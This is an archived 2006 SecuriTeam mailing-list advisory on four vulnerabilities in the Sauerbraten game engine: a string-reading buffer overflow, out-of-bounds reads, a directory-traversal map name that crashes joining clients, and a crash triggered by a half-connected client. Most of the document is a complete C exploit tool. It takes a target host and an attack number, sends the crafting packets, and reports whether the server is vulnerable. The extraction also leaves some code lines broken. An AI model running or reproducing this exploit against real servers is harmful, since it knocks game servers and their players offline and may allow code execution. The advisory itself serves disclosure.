

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00012.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 7 Mar 2006 19:00:46 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Sauerbraten Engine Multiple Vulnerabilities (Exploit)

SUMMARY

<<http://www.cubeengine.com>> Sauerbraten is ""the evolution of the Cube engine developed by Wouter van Oortmerssen, in fact can be defined also as "Next-Gen Cube" or "Cube 2". It supports both LAN and Internet multiplayer through its master server". Multiple vulnerabilities have been discovered in the Sauerbraten engine.

DETAILS

Vulnerable Systems:

* Sauerbraten Engine version 2006_02_28

A) sgetstr() buffer-overflow

The game uses an unchecked function for reading the strings from the incoming data. The function is sgetstr() located in shared/cube.h:
#define sgetstr() { char *t = text; do { *t = getint(p); } while(*t++);
}

The problem, which affects both server and clients, is that this code copies the input data over the text buffer of size MAXTRANS (5000 bytes)

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

allowing possible malicious code execution.

B) Invalid Memory Access

sgetstr(), getint() and the instructions which call them don't check the correct length of the input data. In short is possible to force the server or the client to read over the received data reaching unallocated zones of the memory and so crashing immediately.

C) Clients Crash Through Invalid Map

In the Sauerbraten engine the players have the possibility to choose a specific map on which playing, if there is only one player in the server the map is changed immediately otherwise will be voted. When a client tries to load an invalid map file it exits immediately showing the "while reading map: header malformed" error. When the map is chosen all the clients add a .ogz extension to the mapname received from the server and load the file.

The max size of the mapname is 260 bytes and the function which loads the file uses a secure sprintf() which truncates the input mapname (.ogz included) when the limit is reached. Then the loading of the map is not sanitized versus possible directory traversal exploitations so if an attacker (a player) specifies a mapname of about 260 bytes he can force any client which will join the server (due to the voting problem explained previously which limits the exploitation of this bug) to load any file which is not a valid map and so they will exit immediately.

As already said the exploitation happens with any new client which joins the server since the new mapname will remain active in the server for all the current match.

D) Crash Through Unconnected Client

A partially connected client can easily crash the Sauerbraten server. This bug is caused by the following instruction in engine/server.cpp:

```
int num = ((client *)event.peer->data)->num;
```

In short when the connection times out the server tries to show the host of the disconnected client ignoring that it has never joined. The effect is the reading of an unallocated zone of the memory.

Exploit:

```
/*
```

by Luigi Auriemma

You NEED Enet for compiling this tool (then remember -lenet)

<http://enet.bespin.org> / <http://enet.cubik.org>

```
*/
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
#include <string.h>
#include <time.h>
#include <enet/enet.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#define MYRAND clock()
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/times.h>

#define ONESEC 1
#define MYRAND times(0)
#endif

#define VER "0.1"
#define PORT 28785
#define MAXTRANS 5000
#define BOFSZ (MAXTRANS + 256)
#define MAPSUX "base/./base/./base/./base/./base/./base/./base/"
"/./base/./base/./base/./base/./base/./base/./base/"
"/./base/./base/./base/./base/./base/./base/./base/"
"/./base/./base/./base/./base/./base/./base/./base/"
"/./base/./base/./base/./base/./base/./base/./readme.txt"

enum {
SV_INITS2C = 0, SV_INITC2S, SV_POS, SV_TEXT, SV_SOUND, SV_CDIS,
SV_DIED, SV_DAMAGE, SV_SHOT, SV_FRAGS,
SV_MAPCHANGE, SV_ITEMSPAWN, SV_ITEMPICKUP, SV_DENIED,
SV_PING, SV_PONG, SV_CLIENTPING, SV_GAMEMODE,
SV_TIMEUP, SV_MAPRELOAD, SV_ITEMACC,
SV_SERVMSG, SV_ITEMLIST, SV_RESUME,
SV_EDITENT, SV_EDITH, SV_EDITF, SV_EDITT, SV_EDITM, SV_FLIP,
SV_ROTATE,
SV_MASTERMODE, SV_KICK, SV_CURRENTMASTER,
};

void putint(u_char *p, int n, u_char **out) {
if(n<128 && n>-127) { *p++ = n; }
else if(n<0x8000 && n>=-0x8000) { *p++ = 0x80; *p++ = n; *p++ = n>>8;
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
}  
else { *p++ = 0x81; *p++ = n; *p++ = n>>8; *p++ = n>>16; *p++ = n>>24;  
};  
*out = p;  
};
```

```
int getint(u_char *p, u_char **out) {  
int c = *((char *)p);  
p++;  
if(c== -128) { int n = *p++; n |= *((char *)p)<<8; p++; *out = p;  
return n;}  
else if(c== -127) { int n = *p++; n |= *p++<<8; n |= *p++<<16; *out =  
p; return n|(*p++<<24); }  
else { *out = p; return c; }  
};
```

```
void sendstring(char *t, u_char *p, u_char **out) {  
while(*t) putint(p, *t++, &p);  
putint(p, 0, &p);  
*out = p;  
};
```

```
int build_enet_connect_boom(u_char *buff);  
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int  
err);  
int timeout(int sock);  
void std_err(void);
```

```
struct sockaddr_in peers;
```

```
int main(int argc, char *argv[]) {  
ENetAddress address;  
ENetEvent event;  
ENetPeer *peer;  
ENetHost *client;  
ENetPacket *packet;  
int len,  
i,  
attack;  
u_short port = PORT;  
u_char buff[8192],  
mybof[BOFSZ],  
*p;  
  
setbuf(stdout, NULL);
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
fputs("\n"  
"Sauerbraten <= 2006_02_28 multiple vulnerabilities "VER"\n"  
"by Luigi Auriemma\n"  
"e-mail: aluigi@xxxxxxxxxxxxxx\n"  
"web: http://aluigi.altervista.org\n"  
"\n", stdout);  
  
if(argc < 3) {  
printf("\n"  
"Usage: %s <attack> <host> [port(%hu)]\n"  
"\n"  
"Attack:\n"  
"1 = sgetstr() buffer-overflow\n"  
"2 = invalid memory access during data reading (getint and  
sgetstr)\n"  
"3 = crash of any client which will join the server through  
malformed map\n"  
" loaded with directory traversal vulnerability and 260  
bytes limit\n"  
"4 = crash due to unconnected client\n"  
"\n"  
argv[0], port);  
exit(1);  
}  
  
attack = atoi(argv[1]);  
  
if(enet_initialize()) {  
printf("\nError: an error occurred while initializing ENet\n");  
exit(1);  
}  
  
client =enet_host_create(  
NULL /* create a client host */.  
1 /* only allow 1 outgoing connection */.  
57600 / 8 /* 56K modem with 56 Kbps downstream bandwidth */.  
14400 / 8 /* 56K modem with 14 Kbps upstream bandwidth */);  
  
if(!client) {  
printf("An error occurred while trying to create an ENet client  
host.\n");  
exit(1);  
}  
  
if(argc > 3) port = atoi(argv[3]);  
if(enet_address_set_host(&address, argv[2]) < 0) {  
address.host = inet_addr(argv[2]);  
}  
address.port = port;
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
peers.sin_addr.s_addr = address.host;
peers.sin_port = htons(address.port);
peers.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(*(struct in_addr *)&address.host),
address.port);

peer = enet_host_connect(client, &address, 2);
if(!peer) {
printf("\nError: no peers available for initiating an ENet
connection\n");
exit(1);
}

if(attack == 4) {
printf("- send Enet connect packet without continuing the
connection\n");
len = build_enet_connect_boom(buff);
len = send_recv(client->socket, buff, len, buff, sizeof(buff), 1);
printf("- the server should crash within one minute\n");
for(i = 50; i; i--) {
printf("%3d\b\b\b", i);
sleep(ONESEC);
}
goto check;
}

printf("- connect...");
if((enet_host_service(client, &event, 5000) > 0) && (event.type ==
ENET_EVENT_TYPE_CONNECT)) {
printf("ok\n");
} else {
printf("failed!\n");
goto quit;
}

p = buff;
if(attack == 1) {
printf(
"- send buffer-overflow data (%d bytes)\n"
" note: if the server doesn't crash quickly retry again some
times.\n"
" unfortunately don't know why this happens
sometimes\n", BOFSZ);
putint(p, SV_TEXT, &p);
memset(mybof, 'A', sizeof(mybof) - 1);
mybof[sizeof(mybof) - 1] = 0;
sendstring(mybof, p, &p);

} else if(attack == 2) {
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
printf("- send incomplete data\n");
putint(p, SV_INITC2S, &p);
// no sendstring and putint so the server
// will crash due to invalid memory access

} else if(attack == 3) {
printf("- send bad map\n");
putint(p, SV_MAPCHANGE, &p);
sendstring(MAPSUX, p, &p);
putint(p, 0, &p);
}

packet = enet_packet_create(
buff,
p - buff,
ENET_PACKET_FLAG_RELIABLE);

enet_peer_send(peer, 0, packet);
enet_host_flush(client);
if((enet_host_service(client, &event, 3000) > 0) &&(event.type ==
ENET_EVENT_TYPE_RECEIVE)) {
enet_packet_destroy(event.packet);
}

enet_peer_disconnect(peer);

if(attack == 3) {
printf(
"- if the server was empty the map has been accepted\n"
" any client which will join the server will exit
immediately\n");
goto quit;
}

check:
printf("- check server:\n");
if(enet_host_service(client, &event, 5000) > 0) {
printf("\n Server does not seem vulnerable\n\n");
} else {
printf("\n Server IS vulnerable!!!\n\n");
}

enet_peer_disconnect(peer);

quit:
enet_peer_reset(peer);
enet_deinitialize();
return(0);
}
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
int build_enet_connect_boom(u_char *buff) {  
ENetProtocolHeader *header;  
ENetProtocol *command;  
u_int chall;  
stime;  
  
header = (ENetProtocolHeader *)buff;  
command = (ENetProtocol *) (buff + sizeof(ENetProtocolHeader));  
  
stime = MYRAND;  
chall = ~stime;  
  
header->peerID = htons(0xffff);  
header->flags = 0;  
header->commandCount = 1;  
header->sentTime = stime;  
header->challenge = chall;  
  
command->header.command =  
ENET_PROTOCOL_COMMAND_CONNECT;  
command->header.channelID = 0xff;  
command->header.flags =  
ENET_PROTOCOL_FLAG_ACKNOWLEDGE;  
command->header.reserved = 0;  
command->header.commandLength =  
htonl(sizeof(ENetProtocolConnect));  
command->header.reliableSequenceNumber = htonl(1);  
  
command->connect.outgoingPeerID = htons(0);  
command->connect.mtu = htons(1400);  
command->connect.windowSize = htonl(32768);  
command->connect.channelCount =  
htonl(ENET_PROTOCOL_MAXIMUM_CHANNEL_COUNT);  
command->connect.incomingBandwidth = htonl(0);  
command->connect.outgoingBandwidth = htonl(0);  
command->connect.packetThrottleInterval = htonl(5000);  
command->connect.packetThrottleAcceleration = htonl(2);  
command->connect.packetThrottleDeceleration = htonl(2);  
  
return(sizeof(ENetProtocolCommandHeader) +  
sizeof(ENetProtocolConnect));  
}
```

```
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int  
err) {  
int retry;  
len;
```

[NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)

```
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peers,
sizeof(peers))
< 0) std_err();
if(!timeout(sd)) break;
}

if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}

len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = 1;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

#ifdef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:alugi@xxxxxxxxxxxx> Luigi Auriemma.

The original article can be found at:

<http://alugi.altervista.org/adv/sauerburn-adv.txt>

http://alugi.altervista.org/adv/sauerburn-adv.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.